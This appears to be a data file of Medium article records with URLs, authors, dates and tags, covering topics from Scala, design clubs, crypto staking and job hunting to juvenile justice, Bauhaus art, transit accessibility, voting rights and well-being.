It’s well worth reading the thread if you are interested in the fine details of Scala, and especially if you care about the type system. The high concept is to make the language more precise and correct by introducing a Top type above Any , or possibly modifying Any , or other possibilities — it’s a deep discussion, and pretty fascinating. | https://medium.com/@jducoeur/a-parametric-top-type-e1f4e3acc9c8 | ['Mark', 'Justin'] | 2020-12-08 02:41:31.028000+00:00 | ['Scala', 'Dotty'] |
IMG x Design | Around a year and a half back, all I could do was study, sleep and eat- a typical JEE aspirant. I couldn’t edit a photo properly, let alone designing user interfaces. I had no idea that a term like UI/UX existed and one day I’ll be into it. But now, if you don’t find me socializing or watching anime, I’ll either be nit-picky about the pixels or would be brainstorming on some random problem statement. It’s surprising what a year and IMG can do to you.
This is an account of my journey in IMG as a designer so far. Let’s go with the flow!
My IMG journey summed up
IMG has an imbibed atmosphere to promote user-friendly design and therefore lays out a lot of value to good design principles and practices. We are a team of 9 designers across all years among other 40 odd developers.
Sign Up
Back in December, last year, scrolling through my Facebook feed, posters of various tech groups gleaming at me, I was overwhelmed just like every other freshman. I was confused and scared but excited. Being exposed to the design culture of IITR through Geek Gazette, I had a slight inclination towards Design.
IMG released a recruitment assignment for designers, with the problem statement covering aspects diversifying in logo designing, product critique, design thinking and wireframing. I remember doing a last-minute submission after 3 days of thorough analysis and voila, I was selected further for a personal interview and HR round. While waiting for the interviews, we were made comfortable by our seniors as we played Pictionary with them. It was a cute gesture as all of us were tensed sitting there and they helped us get away with the interview blues.
Login Successful
After 2 days of anxiety and overthinking about the results, I was glad to get the mail welcoming me to IMG. Next day, slightly nervous, I climbed up the ICC stairs and entered the cosy lab full of about 50 people, for the introduction meeting. A little intimidating at the start but by the end, I already felt like a part of a big family. Soon, we had our Intro Chapo and it was one of the craziest chapos where we danced off our worries, staying true to Work Hard, Party Harder.
GBM in progress in our lab
Build your profile
Now, comes the part for which we were recruited. We had lectures regularly followed by assignments to regulate the learning process. In the first semester, both the designers and developers are supposed to attend all lectures and learn the basics of design and development together. Being a designer, I found it a bit tough to cope up with the assignments but it felt good to complete them and get it checked by your seniors. Everyone was eager to help one another and the lab always had a very positive learning environment.
Getting an assignment checked from one of my favourite seniors (IMGians would know who XD)
Connect with your peers
At IMG, you’ll find people engaged in countless domains, trying out new technologies or fixing that one bug which is taking forever, but however busy they might be, they’ll always make time for interaction, gossip and fun XD. Keeping up with this culture, we all went for Solani Walk early morning, played badminton and had a breakfast chapo amid the extreme winters. Soon, we went for an annual trip, and it won’t be an exaggeration to say that it was one of the best times I’d spent after coming to college. I am pretty extrovert and got a chance to bond with all seniors and made wonderful memories.
One of the initial logos I made for a hackathon and is still a subject of mockery :P
Some memes we made after the IMG Trip
Add skills to your profile
2 months drifted away and it was a week-long mid-semester break (still going on?). It was a good chance to clear your backlog of assignments. We even got another assignment to keep ourselves busy and productive during the break. Developers had to build a game using Javascript and designers had to design a portfolio website, though we were open doing both the projects. All our games were later released for the campus junta to play. You can check it out here.
Oops, something went wrong
Sadly, we couldn’t return back to the campus owing to the COVID situation and there was a lot of disappointment with the disturbed semester plan. Since there was uncertainty regarding the new normal, we had to shift all our work remotely. Our lectures were conducted on zoom calls and our IMG seniors made sure that our learning proceeds smoothly online. We’d learnt the basics of frontend back on campus, and we started off with backend at home.
Series of quarantine moods in IMG
Time for backup?
May had begun and it was time to bid farewell to final yearites. Had we been on campus, we would have pulled off the traditional IMG farewell which is a series of events quite famous in the campus, as we’ve been told. But, there was nothing much we could do about the situation and geared up to make the farewell of our seniors more than special even in these circumstances. Our year shot videos at home for various parts of the skit and we made a slam book and collage for them. Farewell went off well with amazing speeches by the so-called pseudo-alums, and IMG made sure that we don’t miss any of our campus fun here at home.
The collage we designed for the farewell batch 2020
Pick up where you left!
At the beginning of the official summer break, we were given an IMG exclusive summer assignment to keep our brains whacking. In Design, they were a series of 4 assignments, which covered a wide range of topics right from Typography, Deciding the user flow, Redesigning pages from a famous app and little UX exercises. I had some free time up my sleeve and even tried out the Developers’ Assignment, which was to build a web application to manage the testing process within IMG, from scratch. Every alternate week, we had our GBM, where we shared our progress. We even had separate Design Meets to just discuss the new trends, catch-up with one another and share new ideas.
A snippet of IMG Friendship Day meet and virtual chapo
Complete your profile
When the next semester started, our work also escalated and each one of us was given a project to work on, which impacted all the residents of IITR. It felt like a huge responsibility but it was great to be able to do something that makes a difference to R-land. We were divided into teams, each consisting of designers, developers and seniors as mentors. I was given the project to redesign the IITR website. I didn’t expect this big a project and was pretty amazed to get this opportunity.
It’s been more than 3 months since I’m working on this project and there’s a lot I have learnt. We are working directly under ICC and IWMC for this project and I’m quite intrigued by the fact that despite the amount of importance this project holds in the institute, we’ve been given pretty much freedom to experiment and improve the design in our own way. It is pretty challenging to execute this right from re-organising the entire website to ensuring how the images change on hovering, but it has really been a wonderful experience so far. The work is still in progress and I hope that we’re able to get the new design on production soon!
WIP of IA for the IITR Website Redesign
Share with your friends
While working throughout the year, little did I know that IMG will become such an integral part of my life or how my mentors will become the best of my friends. A group is made by its people and I can confidently say that IMG has a bunch of amazing people working together day and night to enhance the digital experience of IIT Roorkee. My learnings in IMG have not been limited to how to design well or code decently, but also other valuable aspects like time management, working with deadlines and progressing with the team, apart from getting exposure to all the tech in this world and the best advice and support possible from some amazing seniors out there.
IMG Trip memories captured!
Become a beta user
Whenever any app is ready for the launch, it is tested internally. The testing process is vital and the feedback is really important to improve upon. While testing, the app doesn’t remain limited to the creators but also all other IMG members can help improve the final product. When the app launches, we, as designers make posters and think of ways to help the campus junta get the best optimal experience from these new applications, we’d built. This entire product cycle is really a process you’d expect in any industry-level tech firm, and we at IMG try to follow a similar process with utmost precision.
Some designs we made during the testing and launch phases of the apps
Invite to sign up
To all the freshmen this year, I would like to say that don’t worry much about the results but participate and try your best. I’m sure you’ll learn something or the other. It is not always about how well you know your stuff but the zeal to learn and try, the spontaneity to deal with unexpected situations and the way you adjust with new people and surroundings. The online semester must have been tough for you as it was for us, and keeping that in mind, we are here to help you out. You can reach out to us through Facebook, our Discord Server or ping any of us personally. We are hoping to interact with you all soon in the workshops and let’s find out if you are one of us. Good luck for the recruitments :) | https://medium.com/img-iit-roorkee/img-x-design-e513aacf9544 | ['Yavnika Garg'] | 2020-12-23 13:55:37.297000+00:00 | ['Ui Ux Design', 'Design', 'Covid 19', 'Experience', 'Recruitment'] |
How to Boost Concentration | Tried, tested, and quite simple things, that work well.
Concentration wearing out is often compared to exhaustion, much like needing to go to sleep or not being able to run anymore.
This doesn’t explain how I managed to watch the entire 11 hour Gungrave box set in one go, twice in one week. Whoops.
The first technique is as simple as it is effective.
Play some music but make sure it has no lyrics.
Lyrics catch your attention for a whole host of reasons and draw you out of your work. The lyrics may fire you up while they are in sync with your thoughts but as soon as that synchronicity runs out the lyrics tug your mind in different directions, naturally enough, and you lose focus.
Set a timer.
All our lives we’re taught to respect time. Things last for certain lengths of time, we have to arrive at and leave places at certain times. Even the least punctual person has a built in awareness of time progressing.
All of us also know that our actions outside of certain time frames don’t count.
When taking an exam you have a set amount of time to work on the questions and that’s it.
When your train arrives at the platform, you have to be there and get on it or you’ll have to wait for the next one.
You're not making plans for your 200th birthday.
Whether you like it or not your whole life has been spent in training to respect time, so use this to your advantage when you need to.
Set a timer for how long you want to work on something and what you want to acheive in that time. You will become much more productive!
Make time visible.
A way to boost your awareness of time is to actually be able to see it passing. These days most people use their phone to periodically check the time. You will be much more productive if you can actually see time passing since this triggers a sense of urgency. If you look up at a clock on the wall or one on your desk it keeps bringing you back to your goal, which is to achieve something in a set time frame.
The less aware you are of time the more likely you are to waste it. | https://medium.com/bettertoday/how-to-boost-concentration-ab3b48e54966 | ['Stef Hill'] | 2019-10-31 10:00:10.792000+00:00 | ['Startup', 'Productivity', 'Success', 'Business', 'Time Management'] |
Well I bring you good news as Bluzelle staking is live. | Step 1 — Load Your Ethereum BLZ Account on Metamask
Before anything hope to fill your wallet with enough Eth to send your Blz and also make sure you are on the Etheruem mainnet.
Step 2 — Create a Bluzelle BNT & Matches With Your Ethereum Account
On staking.bluzelle.com, click “login”. On Metamask, allow your BLZ account to connect with the site.
For new users, you will be shown the seed phrase. Please make sure you have copied it and saved it in a secure place. You will need it EVERY TIME you log in. If you lose it, you will lose your whole account and may result in permanent loss of your fund. The Bluzelle team does not own your seed phases and would not be able to recover for you.
Next, put in the seed phrase that you previously generated and proceed. You need to sign the transaction on Metamask so that your new Bluzelle BNT wallet is successfully mapped with your Ethereum account. This will ensure that the correct amount of BNT tokens are converted into your Bluzelle wallet.
Step 3 — Convert ERC20 BLZ to BNT
Once you are logged in, you will see your accounts. Make sure your BLZ balance is shown correctly.
Under the Ethereum account block, click “Convert to BNT” and input the amount. You can only send between 10–250,000 BLZ for every transaction.
On Metamask, confirm your transaction (you will need some ETH for gas).
The ERC20 tokens will be sent and locked in the Bluzelle Official House Wallet. You can view your transaction by clicking “Check on Etherscan”.
Do NOT send BLZ tokens directly to the house wallet from exchanges or any other wallet— if you do, you risk losing your funds forever. Please only use our staking dashboard and follow the flow.
The amount of ERC20 BLZ deposited will be equivalent to the amount of BNT tokens you will receive. You will expect hours of delay as the ETH-Cosmos relayer will only be run multiple times a day. The delay would be a maximum of 24 hours.
Once the relayer is run, you will see your BNT token balance under your account and you can also check it from Bluzelle Explorer.
Step 4 — Stake & Earn
Once you receive your BNT tokens, you can start staking immediately.
Click on the “Stake” button, you will see a list of validators you can delegate to.
Select the validator and enter the amount of stake.
Please note that for every transaction, you will need 2 BNT as network fee. So make sure you leave sufficient available BNT balance. For example, if you have 1000 BNT in your “available balance”, you can only stake a maximum of 998 in this transaction.
You can also unstake from a validator any time. However, your BNT tokens will go into a 21-day unbonding period, which means you can’t use these tokens to redelegate to another validator to earn rewards during this period. We suggest you keeping your tokens staked to earn the rewards for the full phase 1.
Step 5 — View & Claim Rewards
There are two parts of Bluzelle staking rewards:
Network fees
You can view and claim this under the “My account” page, “My rewards” section. You need to have 2 BNT in your available balance to send a “claim reward” request. These rewards can be used immediately (no unbonding period)
Additional staking rewards from the Bluzelle Pool
We have explained this part of the rewards in details in our staking economics. These rewards will be sent to your Bluzelle account every 24 hours. It will add to your “available balance” automatically and can be used immediately.
So with this you will have a smooth and profitable ride in the Bluzelle staking . | https://medium.com/@wisdomoguziee/well-i-bring-you-good-news-as-bluzelle-staking-is-live-490345a31cb7 | ['Wisdom Oguzie'] | 2020-08-20 10:14:13.803000+00:00 | ['Bluzelle', 'Crypotcurrency', 'Staking', 'Cryptocurrency News', 'Cryptocurrency Investment'] |
Setting Up the Seach for a First Time Coding Job | So, you’re thinking of getting your first job in coding. You could just start applying, but you likely won’t get anywhere unless you set yourself up, first. Setting yourself up involves quite a lot in the beginning and it could even take a week or more. But eventually, once you get it all said and done and start your job search in earnest, you’ll have given yourself a much greater chance of success.
I figured I’d make a blog detailing the most important things to do and detail how and why you do them.
So let’s begin, shall we? We’ll start with the easy(ish) stuff.
Web Accounts
First you should start or have already made a few accounts.
GitHub is an essential. It is a platform that provides hosting of users’ code and version control. You’ll likely already have an account on here if you’ve been doing any significant coding. I doubt many employers would give you second look if you did not have a GitHub account. Make sure you have a few of your projects or work on there and have at least one that you regularly update to show that you’re on there doing stuff quite a bit.
LinkedIn is a social media platform designed specifically for professionals, both employees and employers. It is an important tool for connecting these days and it is imperative that you make a LinkedIn profile to connect with other coders.
Medium is a popular site where users publish blogs. It is essential to have a website where you are writing blogs. Medium isn’t really essential in and of itself, it just so happens to be free and widely used, but you can use any blog site or create your own blog site. Which leads me to:
Blogs
Blogs are an important step in both finding employment and increasing your own understanding of code. When potential employers see that a canidate has a blog where they write about what they learned or are interested in, it shows them that this is a person who is excited and invested enough in coding to spend time writing a blog in order to share their knowledge with others. At the same time, writing a blog about some new coding practice you’re learning will force you to understand it enough to be able to explain it properly.
Blogs don’t need to be purely about some new coding language or practice either. It can simply be code-focused, i.e. “How I Started My Coding Journey” or “5 Funny Things Coders Do”.
Blogs can be really important and I’ve heard lots of stories of people getting jobs just because of them.
CV/Resume
Next, you’ll want to set up your CV/Resume (CV for UK, Resume for US). You’ll probably already know exactly how important this is as it is used for all jobs, not just coding-specific. BUT you can, and should, tailor your CV for your specific field, which is coding in this case.
If you have attended a coding bootcamp or even have a degree related to coding such as Computer Science, be sure to put in your Education section. Similarly for work history, if you have any coding internships or small contract work you’ve done, you should draw attention to that in your Work History section. If not though, don’t worry about to much about it. I don’t have any related work either.
You should also make sure to make, and draw attention to, a skills section. Here, you’ll list out all the skills you have, which is the first thing the person recruiting will look for to see if you have skills that gel with their position.
As an aside: This usually comes up in tandem with a submitting a CV, but you should make a good Cover Letter to send out with your application. I personally use a template format and leave spots for the company name and position that I can quickly tailor for each job. So spend a fair amount of time on your Cover Letter because you’ll be using it a lot.
An extra aside: You really want to have a CV that stands out. Mine kinda has cool brown/cream color scheme with dashes of color, but you do something that speaks to you. Just do it with style. A CV is allowed to be a little fun. I used the site Canva to make mine, which was really simple, but whatever works for you is great.
Lastly, you’ll absolutely want a section on your Projects:
Projects
This is one of the most important things that will stick out to employers is your personal projects. These are the products of your applied knowledge. It shows people your skills aren’t just theory, but are able to be used to create something. You don’t need 20 projects under your belt just to get an entry-level position. Just a few, two to three (hell, even maybe one) well done projects that you’ve clearly put a lot of work and heart into is more than enough.
Once you have made these projects (or already have them done!) you want to provide the links to the projects’ respective GitHub repositories, demos that you’ve put on YouTube, and, if you are able to host the project, urls to the working project itself. Where do you put those links? Everywhere! LinkedIn, your CV, and, if you got it, your personal website:
Personal Website
A personal website can be a great, and some would say, essential (there’s our buzzword of the day again), way to market yourself. It doesn’t need to be extra flashy. A single page website that provides a little insight into who you are and your interests, skills, projects, and a link to download your CV. It can be a quick, fun way to put something together, and kinda counts as a project in its own right.
If you’re already done with all the other stuff, why not give it a go?
And that’ll conclude this blog on setting up your first code-focused job search. I wish you all the luck. Don’t get demotivated, getting that first job is the hardest part, but once you get it all the work will have been worth it. | https://medium.com/@kallenbach13/setting-up-the-seach-for-a-first-time-coding-job-acbf08f40a42 | ['Isak Kallenbach'] | 2020-12-18 00:57:01.256000+00:00 | ['Job Search', 'Code', 'Coding', 'Job Search Tips', 'Web Development'] |
When Juvenile Justice is Unjust: A Million Dreams… Dashed by Society | Photo taken just weeks before Solan’s untimely death
To make a long story as short as I can, Solan’s recent struggle was not only related to the coming of adolescence and his suffering from ADHD and thus having some anxiety and problems in school. He also had anxiety and post-traumatic stress disorder (PTSD) because of past experiences. For the first few years of his life, he was bounced around from home to home. He had at least 10 different homes with at least twice as many different caretakers by the time he was 6. When he was born, his biological parents were both addicted to drugs and neither were capable of properly caring for him. He was moved around between an assortment of family members and foster care placements. Solan was sweet and adorable and yet it seemed as if no one ever wanted him. I can only imagine it seemed that way to him.
For example, one caretaker became so exasperated with Solan because he would cry a lot as an infant, as most do, and would load him up on NyQuil or any other nighttime cough syrup, in a ridiculous effort to make sure he stayed quiet. Another so called, “caretaker” repeatedly yanked and tossed him around, literally thrusting his entire body by an arm or other limb when he cried, or was “in the way,” hollering for him to just shut up. Shortly before his fourth birthday, he was placed by the State of Louisiana in a foster-adoptive home. This was a good family and I was there with him when he arrived at his new home… four of us siblings were moved on this day.
The State foster caseworker told Solan this new place he was at would be his “forever home” and this new family would be his “forever family.”. He was all smiles… slightly apprehensive, very curious, but mostly just relieved and happy. He fell in love with this family and they with him. But for him, “forever” lasted less than two years, because the state first tried multiple times to reunite him with his biological mother and eventually pulled him out of this “forever home.”
From what we understand, his biological mother (our biological mother) gave up on him and he ended up in “respite care” a couple of times and then was placed in a potential foster adoptive home which didn’t work out, before finally going to another foster adoptive home where he was FINALLY, TRULY wanted and where the State would finally allow him to stay. He was 6.
This new home would in fact become permanent, and here he found love but he also found security. After a tough transition, once Solan’s mind allowed him to accept this love and feel safe in this security, he developed confidence and courage and he fluorished.
But as many of us know, there comes a time when we have to deal with the ghosts of our past. It really isn’t a choice. For Solan, the approaching of adolescence was setting the stage for him to have to start dealing with his difficult and confusing past. I don’t think any of us can ever run away from or altogether escape our past experiences without somehow dealing with them. For Solan, in the months before his life ended, the time was arriving for him to begin learning to understand what had happened, to begin to accept his trials and tribulations as originating from the failures of the adults in his life rather than failures of his own, and to gradually begin coping with what had happened to him as he gained this understanding and acceptance. Don’t get me wrong, this is a years’ long process for anyone, but the precious gift of time allows us to gradually deal with the tough times we endured in our early years of life, and to conquer the ghosts of our pasts.
Recognizing his emotional struggles, Solan’s parents engaged him in therapy sessions. On the medical end, his pediatrician prescribed medicine for ADHD and an antidepressant just weeks before his 13th birthday on Jan. 20. Fast forward to Feb. 1, when he set fire to the roll of toilet paper, and his father explained to school faculty and to police that both his therapist and his pediatrician recommended he get psychiatric treatment at LSU-Shreveport or another approved facility. That recommendation was shunned by authorities. The local police said it would be best if they arrested him and took him into custody, because otherwise the media and the public could question why such serious measures were not undertaken. So he was cuffed and taken by police first to his house, where authorities got his medicine, and next transported far away from home… some 70 miles to Ware Juvenile Detention Center in Coushatta, La. Here, he was locked up, as though he was a danger to society (he wasn’t), a violent offender (nope), and a criminal needing to be behind bars (hardly). This was a Friday.
As required by law, he was given his 72-hour hearing on Monday, Feb. 4. He returned to Bossier Parish for this hearing and his Court-appointed attorney requested, at the urging of his therapist, doctor, and parents, that he be admitted to LSU-S for psychiatric evaluation and treatment. The District Attorney’s office recommended he be held at Ware Detention Center until a psychiatric evaluation could be conducted by a court-appointed professional. The Assistant DA assigned to his case based her recommendation on the “fact” that this was Solan’s second offense at the school. Perplexed, his parents inquired about the first offense and were astonished to learn that the school and DA’s office were taking the stance that his first offense occured two years earlier, when he was in fifth grade and disassembled a red ink pen, then used the spilled ink to make hand prints on a wall at the school. For that incident, he lost recess priveleges for a couple of days or so.
The Bossier Parish judge who heard the case, Michael Craig, sided with the DA and ordered he be taken back to Ware Detention Center and kept there until March 11 (for almost 40 MORE DAYS) until a psychiatric evaluation could be given. Coincidentally, Judge Craig was the same judge who presided over Solan’s case as a foster child, and seemingly should have been familiar with his story. | https://medium.com/@savanah_84659/a-million-dreams-dashed-by-society-2aa7fe1dca4e | ['Savanah Hall'] | 2019-04-01 16:47:05.511000+00:00 | ['Solitary Confinement', 'Foster Care', 'Juvenile Justice', 'Suicide', 'PTSD'] |
My key takeaways on Cloud-Native KubeCon Conference (CNCF) 2020 thus far | This is my first KubeCon, and in the unfortunate 2020, this was all online. What I am after was The Content — and I was very much pleased.
This is seriously the best one-stop-shop for all things Kubernetes and ServiceMesh
Conference cost $75 + $20 for ServiceMeshCon — my area of interest.
The sheer amount of Kubernetes Cloud-native content, particularly in regards to service mesh was astounding. I have booked several days off work on this study leave, thinking I can do 2-for-1 and get Kubernetes Security Certification — which was announced as expected, done in between.
I wish. No way. “Aint nobody got time for that”. I will cover the CKS separately in another blog as I prepare to take my own exam.
My Notes and Key Takeaways
There is a service mesh now from any and every provider. Pick your poison. F5 comes out with Aspen Mesh. VMware has Tanzu, Kong has App Mesh. This is by far a non-exhaustive list, besides the originals like Linkerd and Istio.
It was a lot to take in.
Linux Foundation Kubernetes Security Specialist 15% off ($300) with this generic discount code. Discount off Course & Exam booking SCOFFERS15 . Personal Discount code allowed for 30% off the CKS booking — and I used it up :D
You need CKA as a pre-req | https://itnext.io/my-key-takeaways-on-cloud-native-kubecon-conference-cncf-2020-thusfar-cb1dfae85a4e | [] | 2020-11-19 08:42:20.870000+00:00 | ['Cncf', 'Service Mesh', 'Cloudnativecon', 'Kubernetes', 'Conference'] |
Design Genius Bullied by a Dictatorship : Notes on Oskar Schlemmer | Design Genius Bullied by a Dictatorship : Notes on Oskar Schlemmer
Sept. 4 is the birthday of a Bauhaus artist who flourished in Germany’s vibrant 1920s. Then Nazis gained power by sowing division among citizens, stirring violence in the streets and attacking artists and the press.
How cutting edge were the costumes Oscar Schlemmer (1888–1943) designed for his Triadic Ballet?
So cutting edge that art critic Alastair Smart credited Schlemmer as an influence on costumes David Bowie and Lady Gaga wore on stage decades later. (There’s a link at the end of this essay to a bibliography with details on Smart’s article and other material used in researching this essay.)
Decades after the Triadic ballet toured in the 1920s, Bowie and Gaga were looking rather futuristic in stages costumes that echoed Schlemmer’s designs.
In a 2019 article appearing on the website of Christie’s auction house, Smart wrote about Schlemmer and other artists who work as part of the Bauhaus. This German art school operated only from 1919 until 1933. But it has had a lasting effect on modern style. The artists, architects and designers of the Bauhaus emphasized sleek spare designs, such as the logo Schlemmer for the group, as seen below.
Signet of the Staatliche Bauhaus, designed by Oskar Schlemmer and used from 1922. Wikimedia copy of image in the public domain.
Schlemmer made his name in art circles with his work on the theater’s workshop.
“During his years at the Bauhaus, he put on a number of avant-garde stage productions, most famously Triadic Ballet, in which dancers in geometric-shaped costumes made mathematically-inspired moves — in a manner rather resembling marionettes without the wires,” Smart wrote. | https://dooleyyoung.medium.com/design-genius-bullied-by-a-dictatorship-notes-on-oskar-schlemmer-9f42bfc0ee35 | ['Kerry Dooley Young'] | 2020-09-07 12:27:57.918000+00:00 | ['Art', 'Germany', 'Bauhaus', 'History'] |
Accessible & Independent: 360 MTA Bus Tour | Accessible & Independent: 360 MTA Bus Tour
Riding the New York City bus in a wheelchair
Navigating New York City in a wheelchair can be difficult. With only 20% of the subway accessible and the Access-A-Ride paratransit service plagued with delays, commuters with mobility issues are left with few options to get around. Fortunately, every MTA bus is equipped with a wheelchair lift and accommodating seating. However, as commuter Shirley Alvarez explains, the bus comes with its own challenge. | https://medium.com/access-granted/accessible-independent-360-mta-bus-tour-77b4f090eb3d | ['Daniel Laplaza'] | 2019-11-12 23:12:09.799000+00:00 | ['Transportation', 'Disability', 'Accessibility'] |
One Argument Martin Luther King Jr. had with my Dad, Hosea Williams | Authored by Elisabeth Omilami | Humanitarian
I’ve heard that Martin Luther King Jr. did not want my dad, Hosea Williams, to march this time. Hosea had led many marches across the southeast by then; he was hired by Martin King because of his success in organizing and leading working people to march. Hosea was sent to this small Southern town to manage the movement there until Dr. King could get there. They had a phone call about the rising sentiment of the people there, especially about the murder of Jimmie Lee Jackson and the decision was that it was too dangerous to lead the people. But, the decision had already been made by the people for the people, exacerbated by the death of Jimmie Lee Jackson and a march was going to take place, with or without leadership from SCLC. The people were hurt, angry and they were ready to march, and they were going forward. Rev. Williams had no choice really.
Who knew that the decision of Rev. Williams to lead that march that day would lead to a Voting Rights Law that would change the face of politics in this country for years to come? “Bloody Sunday” created the road to our right to vote. Even if you feel “nobody cares about your vote” and “voting doesn’t matter,” please vote, because blood calls out to you to vote.
Vote because the ancestors who were stopped from registering by being asked “how many bubbles are in a bar of soap?” or “how many jellybeans are in this jar?”, pressed on past the surreal ridiculousness of those moments and registered, deserve it. Vote, because if you care about Social Security, Food Stamps, Section 8 Housing, school lunches or a livable wage for Americans, all those things and more lie on the ballot this year. Vote, because Hosea Williams led them through the blood on “Bloody Sunday,” through the horses and batons on the head, and through the storm of racism and hate. Vote, because some people don’t believe we should vote, because they think we don’t matter.
There is a rising sentiment among working Americans that their vote doesn’t matter. When you can’t feed your family, provide decent housing for them, earn a livable wage and make it past the ceiling of poverty and lack, it’s hard to imagine that a trip on a certain day to a poll matters; but, it does. Especially, when that vote is followed-up by a consistent and thorough monitoring of the actions of those you put in office.
Wash away the blood with your ballot on Election Day, Tuesday, November 3, 2020. As Frederick Douglas said, “If nothing is expected of a people, that people will find it difficult to contradict that expectation. The end of slavery lies with the ballot.”
Thank you and thank you for reading this one.
Elisabeth Omilami, Hosea Feed the Hungry Executive Director | Actress | Humanitarian and Honorary Member, Zeta Phi Beta Sorority, Incorporated
For more information about Hosea Helps, visit 4hosea.org | https://medium.com/@officialzeta1920/one-argument-martin-luther-king-jr-had-with-my-dad-hosea-williams-c16adeca91bb | ['Zeta Phi Beta Sorority'] | 2020-11-03 02:08:22.487000+00:00 | ['BlackLivesMatter', 'Politics', 'Women', 'Voting', 'Civil Rights'] |
A New Approach to Well-Being | Drawing by the fantastic graphic facilitator, Mona Ebdrup — Check out her work here
According to the Global Wellness Institute, the self-care industry was a $4.2 trillion business in 2017 and has been growing at the average annual growth rate of 6.4%, nearly twice the growth rate of the global economy. It is clear that as a society, we have never invested as much of our time and money in our personal well-being. It seems that we invest in ourselves first and foremost, anchored by the belief that our personal happiness and fulfillment are the primary responsibilities we have on our individual journey; the only thing that is in our control amid a world that seems increasingly chaotic. So we read about habits, life hacks, and ways to improve our body, our productivity, our skills and everything in between. We spend on products that will increase our energy, we go to yoga, we go to spiritual retreats to explore the depths of our (grandiose) selves.
At the same time, the rates of loneliness, depression, and anxiety are on the rise, especially for young people. Chances are someone who is dear to you — or perhaps yourself — is suffering from one or more of these conditions. According to the American Psychological Association, the percentage of young Americans experiencing certain types of mental health disorders has risen significantly over the past decade, including psychological distress, major depression, and suicidal thoughts and attempts. For instance, the percentage of young adults reporting experiencing serious psychological distress in the previous 30 days jumped from 7.7% to 13.1% between 2008 and 2017, a staggering 71% increase. Moreover, in one generation, the number of people who say they have no one to share serious conversations with has tripled and the size of people’s average network has decreased by a third. What has been coined an “epidemic of loneliness” has dire health consequences as researchers have found that loneliness has the same effect on health than smoking 15 cigarettes a day.
It seems we now live in a society of hyper-individualization to the point of isolation with complete disregard to our deepest human needs for meaningful connection; a society that seems to have forgotten that personal and collective well-being cannot be dissociated. We cannot have large groups of people who are genuinely happy and thriving in a society that is not. If a society is sick, its members will get sick, and they will get sick in increasing numbers. And yet, the majority of our focus remains on ourselves. We perhaps don’t even stop to consider the underlying belief that motivates our behavior — the belief that we are separate and capable of happiness all on our own. There are more books that specialize in teaching us how to unleash our personal power than one can read in a lifetime. It is perhaps time to recognize that if we live in a society that causes us harm, focusing on self-care as a way to “fix ourselves” might be a futile exercise. Activist Chloe King writes “changing your attitude is not going to change or help to dismantle structural injustice and a failed and unsustainable economic model which serves only the elite rich of this world and exploits the rest of us.”
So it is not just that self-care might at times be misguided, but also that this hyper-focus on ourselves keeps us from collectively taking action towards breaking the status-quo. In their book The Wellness Syndrome, authors Carl Cederström and André Spicer argue that our “visions of social change have been reduced to dreams of individual transformation” and the obsessive focus on wellness has come at the expense of our collective engagement.
This is not to say that all focus on ourselves is futile. In fact, I strongly believe that societal transformation derives from personal transformation. The subtle difference here is that personal transformation is not dissociated from the collective. Rather, personal transformation is in service of the collective. Personal and collective transformation are intertwined in a mutually beneficial relationship. The goal is not personal happiness and fulfillment for its own sake; the goal is to become a more conscious being capable of connecting with one’s broader life’s mission. Gandhi famously said, “You must be the change you want to see in the world.” This is more than an inspirational quote for Instagram hip millennials to put as a caption to their travel pictures. It implies first thinking deeply about the world you would like to live in: What values does it stand for? What do people believe about one another? The vision for the collective comes first.
So, how do we redesign our societies with our collective well-being at the center?
There are many interconnected answers to this question but I would like to focus on the need for the development of a corps of professionals that are focused on collective well-being. The personal well-being industry is composed of a wide diversity of well-being professionals, from therapists to fitness and personal coaches. We need an equivalent on the collective level.
Indeed, I think that we generally grossly misunderstand what actually needs to happen for societal healing and transformation to occur. We focus on policy and governments and adopt a victim mentality of “this is not my responsibility.” Even for those in the social sector, we often see our role as remedial more than one of transformation and of co-creation. Any person who has gone through the real effort of self-improvement will recognize that it is far from a straightforward process and that we need to push through a sort of void somewhere in the middle before any long-lasting change actually happens. That is also true on a collective level. It is rare that we even get as far as this void as a group but when we do, we are not skilled at navigating through those situations to move to the next phase of the group collaboration. We need trained professionals who can lead us out of the opposition, out of the anger, out of the chaos, and into a deeper level of conversation from which we can start rebuilding and co-creating our new story.
A couple of years ago, I first met a group of people, the Weaving Lab, who have the ambition of identifying and training a worldwide corps of collective well-being professionals who they call “weavers” and who practice the art of “weaving” of our social fabric back together. At its core, weaving is a collective process of systemic healing. It utilizes collaborative actions as a way of changing mindsets. Practically, weaving is also the act of thoughtfully bringing together people, organizations, knowledge, and sectors that were previously siloed from one another.
The Weaving Lab aims to create weaving standards and a curriculum to support weavers worldwide through capacity building and peer-to-peer learning in service of a shared vision to have “every neighborhood, network, and organization woven into a thriving learning ecosystem where everyone — self, society, and nature — is living for universal well-being”. One of the many weavers who inspired me with her journey is Catalina CockDuque who, through her work with Fundacion Mi Sangre, supported the training and empowerment of over 1.5M young people as peacebuilders in Colombia. Her next boldly ambitious project is the Medellin Social Lab, a city-wide prototype to collaboratively find, co-create, and support systemic solutions that address the root causes of youth violence.
About two years ago, I was invited by the Weaving Lab to a one-year training as a “junior weaver” for my work in education at WISE (World Innovation Summit for Education). The training consisted of three in-person 4-day learning journeys in 3 different cities with a group of about 40 other education weavers from around the world. That year made me grow in ways I would have never imagined possible. It humbled me but also expanded my view of what I wanted to achieve. It made me recognize that — without meaning to — I had at times been perpetuating the very injustices I was claiming to be working against. From a participant, I became part of the founding team of the Weaving Lab, alongside weavers I admire and look up to. More than that, I became part of a supportive and loving community of passionate people who give me the hope that societal transformation is possible.
As a society, it is time for us to change our belief that fulfillment is an individual journey and start recognizing that we cannot thrive in isolation. It is time that we collectively spend more time, money, and care on cultivating our relationships and standing up for what is clearly broken. It is time for us to come together and co-create the collective vision that will drive us forward and relentlessly go after it.
Sources & inspirations: | https://medium.com/weavinglab/a-new-approach-to-well-being-e3fd1cfc9401 | ['Zineb Mouhyi'] | 2020-03-28 02:50:11.243000+00:00 | ['Wellness', 'System Thinking', 'Nonprofit', 'Society', 'Wellbeing'] |
What lessons does delayed gratification hold for life? | Virtually everything is a click away today — anything you want can be delivered to your doorstep within 24 hours or less, the choicest of foods across a multitude of restaurants are only but a few minutes away and all the entertainment you seek can most likely be streamed on this very device right this instant. This makes you think whether, for today’s one-click generation, delayed gratification is even relevant. In this world that makes it possible for everything to happen now, why wait till later?
